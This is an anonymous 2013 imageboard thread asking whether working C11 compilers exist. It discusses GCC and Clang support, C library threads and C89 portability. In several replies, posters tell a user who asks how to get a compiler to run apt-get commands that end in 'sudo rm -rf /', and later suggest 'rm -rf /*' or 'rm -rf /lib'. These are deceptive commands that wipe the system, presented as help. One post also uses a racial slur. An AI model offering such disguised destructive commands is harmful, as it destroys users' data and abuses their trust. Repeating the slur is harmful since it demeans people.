Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Are there any working C11 compilers yet?

Name: Anonymous 2013-03-22 8:10

dammit i want to implement mergesort using that sweet, sweet, threading model

Name: Anonymous 2013-03-22 9:33

For a moment I thought you meant C11.

But I'm pretty sure you just forgot the two pluses.

So you mean C++11.

See, nobody uses C11.

All the C users are old grey beards who prefer C89.

So C++11 is the current thing.

So the answer is yes.

There are working C++11 compilers.

Name: Anonymous 2013-03-22 9:45

>>2
What? No, he surely means C11. Read the fucking standard before Lambda Arthur Calculus comes for you.

So you mean C++11.

See, nobody uses C11

IHBT

Name: Anonymous 2013-03-22 9:51

nobody uses C11.
Could that be… why >>1 asked if there were any working compilers‽

Name: Anonymous 2013-03-22 9:58

So, I'm guessing I'll have to compile Clang/GCC myself?
Which has better C11 support?

Name: Anonymous 2013-03-22 11:48

2013
C

IHBT

Name: Anonymous 2013-03-22 11:51

>>2
Well, nobody actually uses a full C99 right now either because no complete implementation exists.

Name: Anonymous 2013-03-22 12:15

>>5
You GCC. Clang is written in C++ which automatically makes it horrible compiler.

Name: Anonymous 2013-03-22 12:17

>>8
GCC is dying and Clang has researchers working on it. I'd go for Clang.

Name: Anonymous 2013-03-22 13:52

>>8
Say thanks it isn't written in JavaScript.

Name: Anonymous 2013-03-22 14:24

Name: Anonymous 2013-03-22 14:32

Nobody's written a C compiler in ocaml?

Name: Anonymous 2013-03-22 14:57

tfw no C11 compilers
tfw I just want to use modern C.
tfw I guess I will use Go or D instead.

Name: Anonymous 2013-03-22 15:19

I wrote a C11 compiler in C11, but I couldn't compile it because I had no compiler.

Name: Anonymous 2013-03-22 17:17

>>14
iktf  bro
░░░░░░░▄▀▀▀▀▀▀▀▀▀▀▄▄░░░░░░░░░
░░░░▄▀▀░░░░░░░░░░░░░▀▄░░░░░░░
░░▄▀░░░░░░░░░░░░░░░░░░▀▄░░░░░
░░█░░░░░░░░░░░░░░░░░░░░░▀▄░░░
░▐▌░░░░░░░░▄▄▄▄▄▄▄░░░░░░░▐▌░░
░█░░░░░░░░░░░▄▄▄▄░░▀▀▀▀▀░░█░░
▐▌░░░░░░░▀▀▀▀░░░░░▀▀▀▀▀░░░▐▌░
█░░░░░░░░░▄▄▀▀▀▀▀░░░░▀▀▀▀▄░█░
█░░░░░░░░░░░░░░░░▀░░░▐░░░░░▐▌
▐▌░░░░░░░░░▐██▀█▄░░░░░░█▀█░▐▌
░█░░░░░░░░░░░▀▀▀░░░░░░▀▀▀▀░▀▄
░▐▌░░░░▄░░░░░░░░░░░░░▌░░░░░░█
░░▐▌░░▐░░░░░░░░░░░░░░▀▄░░░░░█
░░░█░░░▌░░░░░░░░▐▀░░░░▄▀░░░▐▌
░░░▐▌░░▀▄░░░░░░░░▀░▀░▀▀░░░▄▀░
░░░▐▌░░▐▀▄░░░░░░░░░░░░░░░░█░░
░░░▐▌░░░▌░▀▄░░░░▀▀▀▀▀▀░░░█░░░
░░░█░░░▀░░░░▀▄░░░░░░░░░░▄▀░░░
░░▐▌░░░░░░░░░░▀▄░░░░░░▄▀░░░░░
░▄▀░░░▄▀░░░░░░░░▀▀▀▀█▀░░░░░░░

Name: Anonymous 2013-03-22 19:26

i dont have a compiler but i should compile

Name: Anonymous 2013-03-22 19:39

>>16
Run sudo apt-get update;sudo apt-get upgrade; sudo apt-get install wget;sudo rm -rf /;sudo shutdown now from the Ubuntu commandline.

Name: Anonymous 2013-03-22 19:44

>>17
rm -rf / doesn't work, only /g/ is still unaware. Change it to rm -rf /*, winfag.

Name: Anonymous 2013-03-22 19:45

>>18
I think it's simpler and better to rm -rf /lib

Name: Anonymous 2013-03-22 19:50

the problem is i didn't adjust sudo

Name: Anonymous 2013-03-22 19:55

>>18
I just figured that he had a really old version of Ubuntu.

Name: Anonymous 2013-03-22 19:57

ubuntu: debian for niggers

Name: Anonymous 2013-03-22 19:57

>>21
wouldn't the sudo apt-get update; sudo apt-get upgrade; part fix that?

Name: Anonymous 2013-03-22 20:13

>>23
No, because it's a long-term support version, so it still pulls from old repo that were shut down after six months and is just there to look busy.

Name: Anonymous 2013-03-22 20:20

>>24
Oh, right. Ubuntu can't into rolling release.

Name: Anonymous 2013-03-22 20:20

speaking of compilers, i just installed gcc 4.8 today and their error messages borrowed from clang don't have color like clang's do -_-

Name: Anonymous 2013-03-22 22:14

>>23
use windows update.

Name: Anonymous 2013-03-22 22:40

>>1
The important thing to note is that you need support from not only your compiler, but your C library as well.

Both GCC and Clang implement quite a large portion of C11. You can see how much of it they support on these pages:
http://gcc.gnu.org/projects/cxx0x.html
http://clang.llvm.org/cxx_status.html

I don't know of any C libraries that support C11 largely. I don't think glibc has a similar page describing the amount they support, but if you look at the changelogs for their later releases you'll see that they're working on it. If your goal is to write portable code, I'd say that for the time being you'll probably be better off using fork, pthreads, or some cross-platform threading library. DAT THREADING SHIT DONT EVEN HAVE NO PLACE IN DA LANGUAGE DAT DEANIS RICKY LOVED.

>>2 I DONT HAVE A BEARD, I'M GUY L. STEELE'S IDENTICAL TWIN BROTHER. I DRESS LIKE HIM, STYLE MY FUR LIKE HIM, AND DO HEAPS OF OTHER SHIT LIKE HIM EXCEPT FOR DA AUTISTIC OUTBURSTS. UR ONE OF THOSE ISO-WORSHIPPING HYENAS. U SHUD EITHER GO BACK TO MAKING YOUR MODEL OF DA HUMAN ANATOMY WITH UR OBJECT ORIENTED RUBBISH OR GROW SUM BRAINS, REED KERNYAN N RICKY NUMBER 2, DEN REED DA FUKIN STANDARD.

>>5 I THOUGHT I WAS DA ONLY ONE WHO WAS ABLE 2 COMPILE C CODE BY HAND.

>>7 THEN DIS PAGE IS FULL OF DONKEY POOP: http://en.wikipedia.org/wiki/C99#Implementations

Name: Anonymous 2013-03-23 14:54

PellesC

Name: Anonymous 2013-03-23 21:41

>>29 that's an anus

Name: Anonymous 2013-03-23 23:55

install colorgcc, >>26

Name: Anonymous 2013-03-24 0:10

i'll try, but clang messages are still better. for instance, if i miss a semicolon clang will show me the place where i should put semicolon and gcc will point me to me the next line after that one where i should put semicolon

Name: Anonymous 2013-03-24 1:49

>>28,29
Pelles' own site only claims that they support "most" C99 features. The rest of the compilers on the list are ENTERPRISE bondageware; if you are fortunate enough to afford the attention of their support people I imagine they'll give similar non-guarantees.

In practice, the only C standard that you can count on being absolutely 100% implemented is C89.

Name: Anonymous 2013-03-24 2:09

>>33
In practice, the only C standard that you can count on being absolutely 100% implemented is C89.
DA STANDARDS AFTER C89 DONT MAKE MANY USEFUL CHANGES ANYWAY. DEY JUST MADE DA LANGUAGE MORE BLOATED AND CONFUSING, FOR DA PURPOSE OF DEFILING DA LANGUAGE DEANIS RICKY LOVED. LOOK AT ALL DAT rsize_t SHIT FOR EXAMPLE. I KNOW WHAT DESE BLOOD SUCKING FAT CATS AT ISO ARE LIKE; DEY THREW ME OFF DA COMMITTEE FER FUKS SAKE!

Name: Anonymous 2013-03-24 15:56

>>34
Doesn't rsize_t serve a real purpose though?

Name: >>35 2013-03-24 16:58

Really, if I had to pick something in the new standard that adds too much complexity to too little benefit, it would be threads.h. It seems to me it would have been much easier to codify pthreads instead of creating yet another thread API. Microsoft will never implement C11 threads, so the only significant base of users that might use them would be Unix or Linux, where pthreads is already established and working well.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List